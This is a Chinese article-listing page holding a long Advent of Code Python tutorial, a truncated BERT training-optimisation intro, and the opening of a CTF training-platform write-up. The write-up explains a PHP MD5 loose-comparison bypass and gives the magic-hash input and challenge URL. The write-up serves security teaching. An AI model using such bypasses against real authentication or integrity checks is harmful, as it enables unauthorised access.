首页 文章 精选 留言 我的

精选列表

搜索[Agent训练],共10000篇文章
优秀的个人博客,低调大师

编程谜题:提升你解决问题的训练场

摘要:有趣的编程谜题可以练习你解决问题的能力,快来挑战吧~~ 本文分享自华为云社区《代码的出现:用 Python 解决你的难题》,作者: Yuchuan 。 代码谜题的出现旨在让任何对解决问题感兴趣的人都能上手。您不需要具有深厚的计算机科学背景即可参与。相反,代码的来临是学习新技能和测试 Python 新功能的绝佳场所。 编程中的困惑? 处理谜题似乎是在浪费您可用的编程时间。毕竟,您似乎并没有真正生产出任何有用的东西,也没有推进您当前的项目。 然而,花一些时间练习编程谜题有几个好处: 与您的常规工作任务相比,编程难题通常更明确且包含更多内容。它们让您有机会针对比您在日常工作中通常需要处理的问题更简单的问题练习逻辑思维。 你经常可以用几个类似的谜题来挑战自己。这使您可以建立程序记忆,就像肌肉记忆一样,并获得构建某些类型代码的经验。 拼图的设计通常着眼于解决方案。它们使您可以了解和应用经过试验和测试的算法,这些算法是任何程序员工具箱的重要组成部分。 对于一些谜题解决方案,如果算法效率低下,即使是最强大的超级计算机也可能太慢。您可以分析您的解决方案的性能并获得经验,以帮助您了解什么时候简单的方法足够快,什么时候需要更优化的程序。 大多数编程语言都非常适合解决编程难题。这为您提供了一个很好的机会,可以针对不同的任务比较不同的编程语言。拼图也是了解新编程语言或尝试您最喜欢的语言的一些最新功能的好方法。 最重要的是,用编程难​​题挑战自己通常非常有趣!当你把所有的东西加起来时,为谜题留出一些时间是非常有益的。 探索在线解决编程难题的选项 幸运的是,您可以在许多网站上找到编程难题并尝试解决它们。这些网站存在的问题类型、您提交解决方案的方式以及网站可以提供的反馈和社区类型通常存在差异。因此,您应该花一些时间环顾四周,找到对您最有吸引力的那些。 在本教程中,您将了解代码的来临,包括您可以在那里找到什么样的谜题以及您可以使用哪些工具和技巧来解决它们。但是,您也可以在其他地方开始解决编程难题: Exercism有许多不同编程语言的学习路径。每个学习轨道都提供有关不同编程概念、编码挑战和指导者的小型教程,为您提供有关解决方案的反馈。 欧拉计划已经存在很长时间了。该网站提供数百个谜题,通常以数学问题的形式表述。您可以使用任何编程语言解决问题,一旦您解决了难题,您就可以访问社区线程,在那里您可以与其他人讨论您的解决方案。 Code Wars提供了大量的编码挑战,他们称之为katas。您可以使用许多不同的编程语言通过内置编辑器和自动化测试解决难题。之后,您可以将您的解决方案与其他人的解决方案进行比较,并在论坛中讨论策略。 如果您正在寻找工作,HackerRank具有强大的功能。他们提供许多不同技能的认证,包括解决问题和 Python 编程,以及一个工作板,可让您在工作申请中展示自己的解谜技能。 还有许多其他网站可供您练习解谜技巧。在本教程的其余部分,您将重点关注 Advent of Code 必须提供的内容。 为 Code 的出现做准备:25 个圣诞节的新鲜谜题 现在是代码出现的时候了!它由Eric Wastl于 2015 年创立。从那时起,每年 12 月都会发布包含 25 个新编程谜题的新出现日历。这些年来,拼图变得越来越流行。自 2020 年以来,已有超过 170,000人至少解决了其中一个难题。 注意:传统上,降临节日历是用于在等待圣诞节期间计算降临节天数的日历。多年来,降临节日历变得更加商业化并且失去了一些与基督教的联系。 大多数降临节日历从 12 月 1 日开始,到 12 月 24 日(平安夜)或 12 月 25 日(圣诞节)结束。如今,各种降临节日历应有尽有,包括乐高日历、茶日历和化妆品日历。 在传统的降临节日历中,您每天打开一扇门以显示里面的内容。Advent of Code 模仿了这一点,让您从 12 月 1 日到 12 月 25 日每天打开一个谜题。对于您解决的每个难题,您都将获得金星,您可以保留这些星星。 在本节中,您将更加熟悉 Advent of Code 并瞥见您的第一个谜题。稍后,您将了解如何解决这些难题的详细信息,并练习自己解决一些难题。 代码谜题的出现 Advent of Code 是一个在线 Advent 日历,从 12 月 1 日到 12 月 25 日,每天都会发布一个新的谜题。每个谜题都在美国东部时间午夜可用。Advent of Code 谜题有几个典型特征: 每个谜题由两部分组成,但在您完成第一部分之前不会显示第二部分。 每完成一个部分,您将获得一颗金星 (⭐)。这意味着如果您在一年内解决所有难题,您每天可以获得两颗星和五十颗星。 每个人的谜题都是一样的,但您需要根据从 Advent of Code 网站获得的个性化输入来解决它。这意味着您对一个谜题的答案将与其他人的不同,即使您使用相同的代码来计算它。 您可以参加全球竞赛,成为第一个解决每个难题的人。然而,这里通常挤满了高技能、有竞争力的程序员。如果您将 Code of Code 用作自己的练习,或者如果您向您的朋友和同事发起小型友好竞赛,它可能会更有趣。 要了解代码出现难题的工作原理,请考虑2020 年的第一天难题: 在你离开之前,会计精灵只需要你修正你的开支报告(你的拼图输入);显然,有些事情并没有完全加起来。 具体来说,他们需要您找到总和为的两个条目,2020然后将这两个数字相乘。 每年,都会有一个非常愚蠢的背景故事将谜题联系在一起。2020 年的故事描述了您尝试离开去度过一个当之无愧的假期,因为您已经连续几年拯救了圣诞节。这个故事通常对谜题没有影响,但跟随它仍然很有趣。 在故事的情节元素之间,你会发现谜题本身。在此示例中,您要在拼图输入中查找总和为 2,020 的两个条目。在描述问题的解释之后,您通常会找到一个示例,显示您需要执行的计算: 例如,假设您的费用报告包含以下内容: 1721 979 366 299 675 1456 在这份名单中,这两个条目总和2020是1721和299。将它们相乘产生1721 * 299 = 514579,所以正确答案是514579。 该示例向您展示了此特定数字列表的答案。如果您要开始解决这个难题,现在您将开始考虑如何在任何有效数字列表中找到这两个条目。但是,在深入研究这个难题之前,您将探索如何使用 Advent of Code 站点。 如何参与代码的出现 您已经看到了代码出现难题的示例。接下来,您将了解如何提交答案。您永远不会提交任何代码来解决难题。您只需提交答案,通常是数字或文本字符串。 通常,您将按照一系列步骤来解决网站上的难题: 登录Advent of Code网站。您可以使用来自其他服务(如 GitHub、Google、Twitter 或 Reddit)的凭据来执行此操作。 阅读拼图文字并特别注意给定的例子。您应该确保您了解示例数据的解决方案。 下载拼图的个性化输入。您将需要此输入才能找到问题的唯一答案。 编写您的解决方案。这是有趣的部分,您将在本教程的其余部分获得大量练习。 在拼图页面上输入您对拼图的答案。如果您的答案是正确的,那么您将获得一颗金星,并打开谜题的第二部分。 对拼图的第二部分重复步骤 2 到 4。第二部分与第一部分类似,但它通常会增加一些需要您调整代码的扭曲。 在拼图页面上输入您的第二个答案,以获得第二颗星并完成拼图。 请记住,您不提交任何代码——只提交您的谜题答案。这意味着可以用任何编程语言解决代码难题的出现。许多人使用 Advent of Code 来练习和学习一种新的编程语言。Advent of Code 的创建者Eric Wastl在 2019 年发表了一次演讲,他谈到了参与人员的不同背景和动机等。 注意:有一个Advent of Code的排行榜。一般来说,你应该忽略这个排行榜!它仅显示在拼图打开后谁提交了前 100 个解决方案。要想跻身排行榜,您需要大量的准备、奉献精神和竞争性编程的经验。 相反,您应该查看私人排行榜。这些在您登录后可用,它们让您有机会邀请您的朋友和同事加入更轻松的社区。您可以选择基于要么得分您的私人排行榜时的困惑基础上得到解决或者干脆数量困惑的人已经解决了的。 您还可以将您在私人排行榜中的名字链接到您的GitHub帐户,这样您就可以与朋友分享您的解决方案。登录后,您可以通过单击Advent of Code 站点菜单中的设置来进行设置。 Advent of Code 完全免费使用,但您仍然可以通过几种不同的方式支持该项目: 您可以在您的社交媒体上分享有关 Advent of Code 的信息以宣传。 您可以通过参与r/adventofcode subreddit 或其他论坛来帮助他人。 您可以邀请您的朋友参加 Advent of Code,在私人排行榜上分享您的结果。 您可以向 Advent of Code捐款。如果您这样做了,那么您将在网站上的姓名旁边看到一个AoC++徽章。 在接下来的部分中,您将看到有关如何准备使用 Python 解决代码出现问题的一些建议。还有一个很棒的列表,您可以查看与 Advent of Code 相关的许多不同资源的链接,包括许多其他人的解决方案。 用 Python 解决代码的出现 Code of Code 已成为全球许多编码人员的年度亮点。2020 年,超过 170,000人提交了他们的解决方案。自 2015 年 Advent of Code 启动以来,已有超过 380,000 名程序员参与其中。他们中的许多人使用 Python 来解决难题。 那么,现在轮到你了!前往Advent of Code 网站,查看最新的谜题。然后,返回本教程获取一些提示并帮助开始使用 Python 解决代码出现难题。 拼图的剖析 在本节中,您将探索代码出现难题的典型剖析。此外,您将了解一些可用于与之交互的工具。 每个 Advent of Code 谜题都分为两部分。当您开始处理拼图时,您只会看到第一部分。一旦您提交了第一部分的正确答案,第二部分就会解锁。这通常是您在第一部分解决的问题的转折点。有时,您会发现有必要从第一部分重构您的解决方案,而有时您可以根据您已经完成的工作快速解决第二部分。 两个部分始终使用相同的拼图输入。您可以从当天的拼图页面下载拼图输入。您会在拼图说明后找到一个链接。 注意:如前所述,您的拼图输入是个性化的。这意味着如果您与其他人讨论解决方案,他们的最终答案可能与您的不同。 提交拼图解决方案所需执行的所有操作(实际解决拼图除外)都可以在 Advent of Code 网站上完成。您应该使用它来提交您的第一个解决方案,以便您熟悉流程。 稍后,您可以使用多种工具来组织 Advent of Code 设置并提高工作效率。例如,您可以使用该advent-of-code-data包下载数据。这是一个可以使用pip安装的 Python 包: $ python -m pip install advent-of-code-data 您可以使用advent-of-code-data其aocd工具在命令行上下载特定的拼图输入集。另一个有趣的可能性是在您的 Python 代码中自动下载和缓存您的个性化拼图输入: >>> >>> from aocd.models import Puzzle >>> puzzle = Puzzle(year=2020, day=1) >>> # Personal input data. Your data will be different. >>> puzzle.input_data[:20] '1753\n1858\n1860\n1978\n' 您需要在环境变量或文件中设置会话 ID,然后才能使用advent-of-code-data. 您将在文档中找到对此的解释。如果您感兴趣,还可以使用advent-of-code-data或aocd提交您的解决方案并查看您之前的答案。 作为拼图文本的一部分,您还会发现一个或多个示例,这些示例通常是根据比您的个性化输入数据更小的数据来计算的。在开始编码之前,您应该仔细阅读这些示例,并确保您了解要求您执行的操作。 您可以使用这些示例为您的代码设置测试。一种方法是在示例数据上手动运行您的解决方案并确认您得到了预期的答案。或者,您可以使用类似工具pytest来自动化该过程。 注意:测试驱动开发 (TDD)是一个在实现代码之前编写测试的过程。由于 Advent of Code 为您提供了对小示例的预期答案,因此它为您提供了自己尝试测试驱动开发的绝佳机会。 稍后当您尝试自己解决一些难题时,您将了解有关 TDD 的更多信息。 您只需使用简单的 Python 和标准库即可解决所有 Advent of Code 难题。但是,有一些软件包可以帮助您整理解决方案: advent-of-code-data 可以下载您的输入数据并提交您的解决方案。 pytest 可以自动检查示例数据上的解决方案。 parse可以用比正则表达式更简单的语法来解析字符串。 numpy 可以有效地计算数字数组。 colorama 可以在终端中为您的解决方案设置动画。 如果您创建了一个虚拟环境并安装了这些包,那么您将拥有一个非常可靠的工具箱,用于您的 Advent of Code 冒险。后来,你会看到你如何使用的例子parse,numpy和colorama解决难题。 解决方案的结构 在上一节中,您熟悉了如何阅读和理解 Advent of Code 谜题。在本节中,您将了解如何解决这些问题。在解决“代码出现”难题之前,您无需进行大量设置。 你有没有想过如何解决你之前看到的难题?回想一下,您正在查找列表中总和为 2,020 的两个数字的乘积。在继续之前,请考虑——也许可以编写代码——如何找到以下列表中哪两个条目的总和为 2,020: numbers = [1721, 979, 366, 299, 675, 1456] 以下脚本显示了解决2020 年第 1 天难题的第一部分的一种方法: 1for num1 in numbers: 2 for num2 in numbers: 3 if num1 < num2 and num1 + num2 == 2020: 4 print(num1 * num2) 嵌套for循环从列表中查找两个数字的所有组合。第 3 行的测试实际上比实际需要的稍微复杂一些:您只需要测试数字总和是否为 2,020。但是,通过添加num1应该小于的条件,num2可以避免两次找到解。 在这个例子中,一个解决方案的模样num1 = 1721和num2 = 299,但因为你可以以任何顺序添加数字,这意味着还num1 = 299和num2 = 1721形成的解决方案。通过额外检查,仅报告后一种组合。 一旦你有了这个解决方案,你就可以将你的个性化输入数据复制到numbers列表中并计算你的谜题答案。 注意:有比尝试所有可能性更有效的方法来计算这个答案。但是,从基本方法开始通常是个好主意。引用乔·阿姆斯特朗的话说: 让它工作,然后让它漂亮,然后如果你真的,真的必须,让它快。90% 的情况下,如果你让它漂亮,它已经很快了。所以真的,只是让它漂亮!(来源) —乔·阿姆斯特朗 既然你已经看到了这个谜题的有效解决方案,你能把它做得漂亮吗? 当您解决更多难题时,您可能会开始觉得将数据复制到代码中并将其重写为有效的 Python 变得很烦人。类似地,向代码中添加一些函数可为您提供更大的灵活性。例如,您可以使用它们向代码中添加测试。 Python 有许多强大的字符串解析功能。从长远来看,最好在下载时保留输入数据,让 Python 将它们解析为可用的数据结构。事实上,将代码分成两个函数通常是有益的。一个函数将解析字符串输入,另一个函数将解决这个难题。基于这些原则,你可以重写你的代码: 1# aoc202001.py 2 3import pathlib 4import sys 5 6def parse(puzzle_input): 7 """Parse input""" 8 return [int(line) for line in puzzle_input.split()] 9 10def part1(numbers): 11 """Solve part 1""" 12 for num1 in numbers: 13 for num2 in numbers: 14 if num1 < num2 and num1 + num2 == 2020: 15 return num1 * num2 16 17if __name__ == "__main__": 18 for path in sys.argv[1:]: 19 print(f"\n{path}:") 20 puzzle_input = pathlib.Path(path).read_text().strip() 21 22 numbers = parse(puzzle_input) 23 print(part1(numbers)) 在第 12 到 15 行,您将识别出您之前的解决方案。首先,您已将其包装在一个函数中。这使得以后更容易向代码中添加自动测试。您还添加了一个parse()函数,可以将字符串行转换为数字列表。 在第 20 行,您用于pathlib将文件内容作为文本读取并去除末尾的所有空白行。循环sys.argv为您提供在命令行中输入的所有文件名。 在您处理解决方案时,这些更改为您提供了更大的灵活性。假设您已将示例数据存储在名为 的文件中,example.txt并将您的个性化输入数据存储在名为input.txt. 然后,您可以通过在命令行上提供它们的名称,在其中任何一个或什至两者上运行您的解决方案: $ python aoc202001.py example.txt input.txt example.txt: 514579 input.txt: 744475 514579确实是使用示例输入数据时问题的答案。请记住,您的个性化输入数据的解决方案将与上面显示的解决方案不同。 现在是时候让 Advent of Code 网站一展身手了!转到2020 Advent of Code 日历并找到第 1 天的谜题。如果您还没有,请下载输入数据并计算谜题的解决方案。然后,在网站上输入您的解决方案并点击提交。 起始模板 正如您在上面看到的,代码谜题的出现遵循一套结构。因此,为自己创建一个模板是有意义的,您可以在开始编写解决方案时将其用作起点。您在这样的模板中到底想要多少结构是个人品味的问题。首先,您将探索一个基于您在上一节中看到的原则的模板示例: 1# aoc_template.py 2 3import pathlib 4import sys 5 6def parse(puzzle_input): 7 """Parse input""" 8 9def part1(data): 10 """Solve part 1""" 11 12def part2(data): 13 """Solve part 2""" 14 15def solve(puzzle_input): 16 """Solve the puzzle for the given input""" 17 data = parse(puzzle_input) 18 solution1 = part1(data) 19 solution2 = part2(data) 20 21 return solution1, solution2 22 23if __name__ == "__main__": 24 for path in sys.argv[1:]: 25 print(f"{path}:") 26 puzzle_input = pathlib.Path(path).read_text().strip() 27 solutions = solve(puzzle_input) 28 print("\n".join(str(solution) for solution in solutions)) 该模板具有用于解析输入以及解决谜题的两个部分的单独函数。您根本不需要触及第 15 到 27 行。他们照顾的阅读文本从输入文件,要求parse(),part1()和part2(),然后再报告解决方案控制台。 您可以创建一个类似的模板来测试您的解决方案。 注意:如前所述,示例数据对于创建测试很有用,因为它们代表具有相应解决方案的已知数据。 以下模板pytest用作测试运行程序。它的三个不同的测试,每一个功能的准备parse(),part1()以及part2(): 1# test_aoc_template.py 2 3import pathlib 4import pytest 5import aoc_template as aoc 6 7PUZZLE_DIR = pathlib.Path(__file__).parent 8 9@pytest.fixture 10def example1(): 11 puzzle_input = (PUZZLE_DIR / "example1.txt").read_text().strip() 12 return aoc.parse(puzzle_input) 13 14@pytest.fixture 15def example2(): 16 puzzle_input = (PUZZLE_DIR / "example2.txt").read_text().strip() 17 return aoc.parse(puzzle_input) 18 19@pytest.mark.skip(reason="Not implemented") 20def test_parse_example1(example1): 21 """Test that input is parsed properly""" 22 assert example1 == ... 23 24@pytest.mark.skip(reason="Not implemented") 25def test_part1_example1(example1): 26 """Test part 1 on example input""" 27 assert aoc.part1(example1) == ... 28 29@pytest.mark.skip(reason="Not implemented") 30def test_part2_example2(example2): 31 """Test part 2 on example input""" 32 assert aoc.part2(example2) == ... 你会看到,你如何使用这个模板的例子以后。在此之前,您应该注意以下几点: 如第 1 行所示,您应该pytest使用test_前缀命名您的文件。 类似地,每个测试都在一个以test_前缀命名的函数中实现。您可以在第 20、25 和 30 行看到这些示例。 您应该更改第 5 行的导入以导入您的解决方案代码。 该模板假定示例数据存储在名为example1.txt和 的文件中example2.txt。 当您准备好开始测试时,您应该删除第 19、24 和 29 行的跳过标记。 您需要...根据示例数据和相应的解决方案填写第 22、27 和 32 行的省略号 ( )。 例如,如果您要将此模板改编为上一节中 2020 年第 1 天谜题第一部分的重写解决方案,则您需要创建一个example1.txt包含以下内容的文件: 1721 979 366 299 675 1456 接下来,您将删除前两个测试的跳过标记并按如下方式实现它们: def test_parse_example1(example1): """Test that input is parsed properly""" assert example1 == [1721, 979, 366, 299, 675, 1456] def test_part1_example1(example1): """Test part 1 on example input""" assert aoc.part1(example1) == 514579 最后,您需要确保您正在导入您的解决方案。如果您使用了 filename aoc202001.py,那么您应该将第 5 行更改为 import aoc202001: 5import aoc202001 as aoc 然后,您将运行pytest以检查您的解决方案。如果您正确地实施了您的解决方案,那么您会看到如下内容: $ pytest ====================== test session starts ===================== collected 3 items test_aoc202001.py ..s [100%] ================= 2 passed, 1 skipped in 0.02s ================= 注意... 前面的两个点 ( ) s。它们代表两个通过的测试。如果测试失败,您会看到F而不是每个点,以及出现问题的详细说明。 Cookiecutter和Copier等工具可以更轻松地处理此类模板。如果您安装了 Copier,那么您可以通过运行以下命令来使用类似于您在此处看到的模板: $ copier gh:gahjelle/template-aoc-python advent_of_code 这将为advent_of_code您计算机上目录的子目录中的一个特定拼图设置模板。 解决策略 代码谜题的出现非常多样化。随着日历的推进,您将解决许多不同的问题,并发现许多解决这些问题的不同策略。 其中一些策略非常通用,可以应用于任何谜题。如果您发现自己被一个谜题卡住了,您可以尝试解决以下问题: 重新阅读说明。代码谜题的出现通常非常明确,但其中一些可能包含大量信息。确保您没有遗漏拼图的重要部分。 积极使用示例数据。确保您了解这些结果是如何实现的,并检查您的代码是否能够重现这些示例。 一些谜题可能会涉及一些。将问题分解为更小的步骤,并单独实施和测试每个步骤。 如果您的代码适用于示例数据但不适用于您的个性化输入数据,那么您可以根据您能够手动计算的数字构建其他测试用例,以查看您的代码是否涵盖所有极端情况。 如果您仍然被卡住,那么请在一些致力于代码出现的论坛上与您的朋友和其他解谜者联系,并询问他们如何解决谜题的提示。 随着您做越来越多的谜题,您将开始认识到一些反复出现的一般谜题。 一些谜题涉及文本和密码。Python 有几个强大的工具来处理文本字符串,包括许多字符串方法。要读取和解析字符串,了解正则表达式的基础知识会很有帮助。但是,您通常也可以使用第三方parse库。 例如,假设您有字符串"shiny gold bags contain 2 dark red bags."并希望从中解析相关信息。您可以使用parse及其模式语法: >>> >>> import parse >>> string = "shiny gold bags contain 2 dark red bags." >>> pattern = "{outer_color} bags contain {num:d} {inner_color} bags." >>> match = parse.search(pattern, string) >>> match.named {'outer_color': 'shiny gold', 'num': 2, 'inner_color': 'dark red'} 在后台,parse构建一个正则表达式,但您使用类似于f-strings使用的语法的更简单的语法。 在其中一些文本问题中,明确要求您使用代码和解析器,通常构建小型自定义汇编语言。解析完代码后,通常需要运行给定的程序。实际上,这意味着您构建了一个小型状态机,可以跟踪其当前状态,包括其内存的内容。 您可以使用类将状态与行为保持在一起。在 Python 中,数据类非常适合快速设置状态机。以下示例显示了一个可以处理两种不同指令的小型状态机的实现: 1from dataclasses import dataclass 2 3@dataclass 4class StateMachine: 5 memory: dict[str, int] 6 program: list[str] 7 8 def run(self): 9 """Run the program""" 10 current_line = 0 11 while current_line < len(self.program): 12 instruction = self.program[current_line] 13 14 # Set a register to a value 15 if instruction.startswith("set "): 16 register, value = instruction[4], int(instruction[6:]) 17 self.memory[register] = value 18 19 # Increase the value in a register by 1 20 elif instruction.startswith("inc "): 21 register = instruction[4] 22 self.memory[register] += 1 23 24 # Move the line pointer 25 current_line += 1 这两个指令set并inc进行分析和内处理.run()。请注意,第5 行和第 6 行的类型提示使用更新的语法,该语法仅适用于Python 3.9及更高版本。如果您使用的是旧版本的 Python,那么您可以使用 importDict和Listfromtyping代替。 要运行您的状态机,您首先使用初始内存对其进行初始化并将程序加载到机器中。接下来,您调用.run(). 程序完成后,您可以检查.memory以查看机器的新状态: >>> >>> state_machine = StateMachine( ... memory={"g": 0}, program=["set g 44", "inc g"] ... ) >>> state_machine.run() >>> state_machine.memory {'g': 45} 该程序首先设置g为 的值44,然后增加它,使其最终值为45。 一些有趣的谜题涉及网格和迷宫。如果您的网格具有固定大小,那么您可以使用NumPy来获得它的有效表示。迷宫通常有助于可视化。您可以使用Colorama直接在您的终端中绘制: import numpy as np from colorama import Cursor grid = np.array( [ [1, 1, 1, 1, 1], [1, 0, 0, 0, 1], [1, 1, 1, 0, 1], [1, 0, 0, 2, 1], [1, 1, 1, 1, 1], ] ) num_rows, num_cols = grid.shape for row in range(num_rows): for col in range(num_cols): symbol = " #o"[grid[row, col]] print(f"{Cursor.POS(col + 1, row + 2)}{symbol}") 此脚本显示了使用 NumPy 数组存储网格,然后使用Cursor.POSfrom Colorama 在终端中定位光标以打印出网格的示例。运行此脚本时,您将看到如下输出: ##### # # ### # # o# ##### 在运行时可视化您的代码可能很有趣,并且还可以为您提供一些很好的见解。当您在调试并且不太了解正在发生的事情时,它也可以是非常宝贵的帮助。 到目前为止,在本教程中,您已经获得了一些关于如何使用 Advent of Code 谜题的一般提示。在接下来的部分中,您将获得更明确的信息并解决早年的两个难题。 代码实践:2019 年第 1 天 您将尝试自己解决的第一个难题是2019 年第 1 天,称为火箭方程式的暴政。这是一个典型的第 1 天难题,因为该解决方案并不是很复杂。这是一个很好的练习,可以习惯 Advent of Code 的工作方式并检查您的环境是否已正确设置。 第 1 部分:拼图说明 在 2019 年的故事情节中,你将拯救被困在太阳系边缘的圣诞老人。在第一个谜题中,您正在准备发射火箭: 精灵们迅速将您装入宇宙飞船并准备发射。 在第一次 Go / No Go 民意调查中,每个 Elf 都是 Go,直到 Fuel Counter-Upper。他们还没有确定所需的燃料量。 发射给定模块所需的燃料基于其质量。具体来说,要找到模块所需的燃料,取其质量,除以 3,向下取整,然后减去 2。 示例数据如下所示: 对于质量12,除以 3 并向下取整得到4,然后减去 2 得到2。 对于质量14,除以 3 并四舍五入仍然产生4,因此所需的燃料也是2。 对于质量为1969,所需的燃料为654。 对于质量为100756,所需的燃料为33583。 您需要计算航天器的总燃料需求: Fuel Counter-Upper 需要知道总燃料需求。要找到它,请单独计算每个模块(您的拼图输入)的质量所需的燃料,然后将所有燃料值加在一起。 您的航天器上所有模块的燃料需求总和是多少? 现在是时候尝试自己解决难题了!下载您的个性化输入数据并在 Advent of Code 上检查您的解决方案可能是最有趣的,这样您就可以获得星星。但是,如果您还没有准备好登录 Advent of Code,请根据上面提供的示例数据随意解决难题。 第 1 部分:解决方案 完成拼图并获得星星后,您可以展开折叠块以查看拼图解决方案的讨论: 2019 年第 1 天的解决方案,第 1 部分显示隐藏 您现在已经解决了谜题的第一部分。但是,在进入谜题的第二部分之前,下一部分将展示如何使用之前在解决此问题时看到的模板。 第 1 部分:使用模板的解决方案 展开下面的折叠块,查看 2019 年第 1 天代码出现难题第一部分的另一个解决方案——这次使用您之前看到的模板来组织代码并简化测试: 2019 年第 1 天第 1 部分的模板化解决方案显示隐藏 您现在可以继续进行拼图的第二部分。你准备好扭转了吗? 第 2 部分:拼图说明 每个 Advent of Code 谜题都由两部分组成,只有在您解决第一部分后才会显示第二部分。第二部分始终与第一部分相关,并将使用相同的输入数据。但是,您可能经常需要重新考虑解决谜题前半部分的方法,以便考虑后半部分。 展开下面折叠的块以查看 2019 年第 1 天代码出现难题的第二部分: 2019 年第 1 天,第 2 部分显示隐藏 您将在下一部分看到第二部分的可能解决方案。但是,请先尝试自己解决难题。如果您需要开始的提示,请展开下面的框: 2019 年第 1 天的提示,第 2 部分显示隐藏 你怎么做的?你的火箭准备好发射了吗? 第 2 部分:解决方案 本节展示了如何解决第二部分,继续使用上面看到的模板: 2019 年第 1 天的解决方案,第 2 部分显示隐藏 恭喜!您现在已经解决了整个 Advent of Code 难题。您准备好迎接更具挑战性的挑战了吗? 代码实践:2020 年第 5 天 您将尝试解决的第二个难题是2020 年第 5 天的难题,称为Binary Boarding。这个谜题比前一个更具挑战性,但最终的解决方案不需要很多代码。首先查看第一部分的拼图说明。 第 1 部分:拼图说明 2020 年,您正在努力前往您当之无愧的度假胜地。在第 5 天,当麻烦接踵而至时,您将要登机: 你登上飞机却发现一个新问题:你丢了登机牌!你不确定哪个座位是你的,所有的空乘人员都忙着处理突然通过护照检查的人潮。 您编写了一个快速程序,使用手机的摄像头扫描附近的所有登机牌(您的拼图输入);也许你可以通过淘汰的过程找到你的座位。 这家航空公司使用二元空间分区来安排座位,而不是区域或组。一个座位可能被指定为FBFBBFFRLR,其中的F意思是“前”,B意思是“后”,L意思是“左”,R意思是“右”。 前 7 个字符将是F或B; 这些精确指定的一个128行上的平面(编号0通过127)。每个字母都会告诉您给定的座位位于区域的哪一半。 从整个行列表开始;第一个字母表示座位是在前面(0通过63)还是在后面(64通过127)。下一个字母表示座位位于该区域的哪一半,依此类推,直到您只剩下一排。 例如,仅考虑 的前七个字符FBFBBFFRLR: 首先考虑整个范围,行0到127. F意味着采取下半部分,保持行0通过63。 B意味着采取上半部分,保持行32通过63。 F意味着采取下半部分,保持行32通过47。 B意味着采取上半部分,保持行40通过47。 B保持行44通过47。 F保持行44通过45。 finalF保留两者中较低的,row44。 最后三个字符将是L或R; 这些精确指定的一个8列的在飞机上的座位(编号0通过7)。再次进行与上述相同的过程,这次只需要三个步骤。L表示保留下半部分,同时R表示保留上半部分。 例如,仅考虑 的最后 3 个字符FBFBBFFRLR: 首先考虑整个范围,列0到7. R意味着采取上半部分,保持列4通过7。 L意味着采取下半部分,保持列4通过5。 finalR保留两者中的较高者,column5。 因此,解码FBFBBFFRLR显示它是row 44, column5的座位。 每个座位也有一个唯一的座位 ID:将行乘以 8,然后添加列。在此示例中,座位具有 ID 44 * 8 + 5 =357。 以下是其他一些登机牌: BFFFBBFRRR:行70,列7,座位ID 567。 FFFBBBFRRR:行14,列7,座位ID 119。 BBFFBBFRLL:行102,列4,座位ID 820。 作为健全性检查,请查看您的登机牌清单。登机牌上的最高座位 ID 是多少? 这个谜题说明中有很多信息!但是,大部分内容都涉及二进制空间分区如何为该特定航空公司工作。 现在,尝试自己解决难题!请记住,如果您从正确的角度考虑,从登机牌规范到座位 ID 的转换并不像最初看起来那么复杂。如果您发现自己在该部分遇到困难,请展开下面的框以查看有关如何开始的提示。 2020 年第 5 天的提示,第 1 部分显示隐藏 完成解决方案后,请查看下一部分以了解有关该难题的讨论。 第 1 部分:解决方案 既然您已经自己试过了,您可以继续展开以下块以查看解决难题的一种方法: 2020 年第 5 天的解决方案,第 1 部分显示隐藏 是时候进入拼图的第二部分了。你能登机吗? 第 2 部分:拼图说明 准备好拼图的第二部分后,展开以下部分: 2020 年第 5 天,第 2 部分显示隐藏 花点时间研究第二部分的解决方案。 第 2 部分:解决方案 当您准备好将您的解决方案与另一个解决方案进行比较时,请打开下面的框: 2020 年第 5 天的解决方案,第 2 部分显示隐藏 恭喜!到目前为止,您已经解决了至少两个 Advent of Code 难题。幸运的是,还有数百个等着你! 点击关注,第一时间了解华为云新鲜技术~

优秀的个人博客,低调大师

Perseus-BERT——业内性能极致优化的BERT训练方案

【作者】 笋江(林立翔) 驭策(龚志刚) 蜚廉(王志明) 昀龙(游亮) 一,背景——横空出世的BERT全面超越人类 2018年在自然语言处理(NLP)领域最具爆炸性的一朵“蘑菇云”莫过于Google Research提出的BERT(Bidirectional Encoder Representations from Transformers)模型。作为一种新型的语言表示模型,BERT以“摧枯拉朽”之势横扫包括语言问答、理解、预测等各项NLP锦标的桂冠,见图1和图2。 【图1】SQuAD是基于Wikipedia文章的标准问答数据库的NLP锦标。目前SQuAD2.0排名前十名均为基于BERT的模型(图中列出前五名),前20名有16席均是出自BERT 【图2】GLUE是一项通用语言理解评估的benchmark,包含11项NLP任

优秀的个人博客,低调大师

南京邮电大学网络攻防训练平台writeup

为了让各位能够好好查看一下,我违规操作了(QAQ)放在随笔里面了(Orz) 本文转自findneo:https://www.cnblogs.com/findneo/p/nupt-ctf-writeup.html 南邮CTF平台网址: http://ctf.nuptsast.com/challenges http://ctf.nuptzj.cn/challenges WEB 签到题 nctf{flag_admiaanaaaaaaaaaaa} ctrl+u或右键查看源代码即可。在CTF比赛中,代码注释、页面隐藏元素、超链接指向的其他页面、HTTP响应头部都可能隐藏flag或提示信息。在渗透测试中,开发者留下的多余注释和测试页面有时也能提供线索。 md5 collision nctf{md5_collision_is_easy} <?php $md51 = md5('QNKCDZO'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) { echo "nctf{*****************}"; } else { echo "false!!!"; }} else{echo "please input a";} ?> 利用PHP弱类型,前人发现md5('QNKCDZO')='0e830400451993494058024219903391',md5('240610708')='0e462097431906509019562988736854',而因为使用松散比较的缘故,var_dump('0e830400451993494058024219903391'=='0e462097431906509019562988736854');值为真,因此访问 http://chinalover.sinaapp.com/web19/?a=240610708 即可。 1、在PHP中,@被称为错误控制操作符(error control operator),前置@符号的表达式产生的任何错误都将被忽略。 2、1992年发布的MD5算法是一种广泛使用的哈希算法,最初被设计用来作为加密算法,在被证明不安全后只能用来做数据完整性校验。MD5算法为消息产生128位摘要,常表示为32位十六进制串,由[0-9a-e]组成。 3、PHP的比较操作符主要有两类——松散比较和严格比较,于是就有了equal(==)和Identical(===)两种相等,主要区别在于前者会在比较前根据上下文对操作数进行类型转换(type juggling)而后者不会。这种juggle总的来说利大于弊,但确实容易玩脱。 ​ 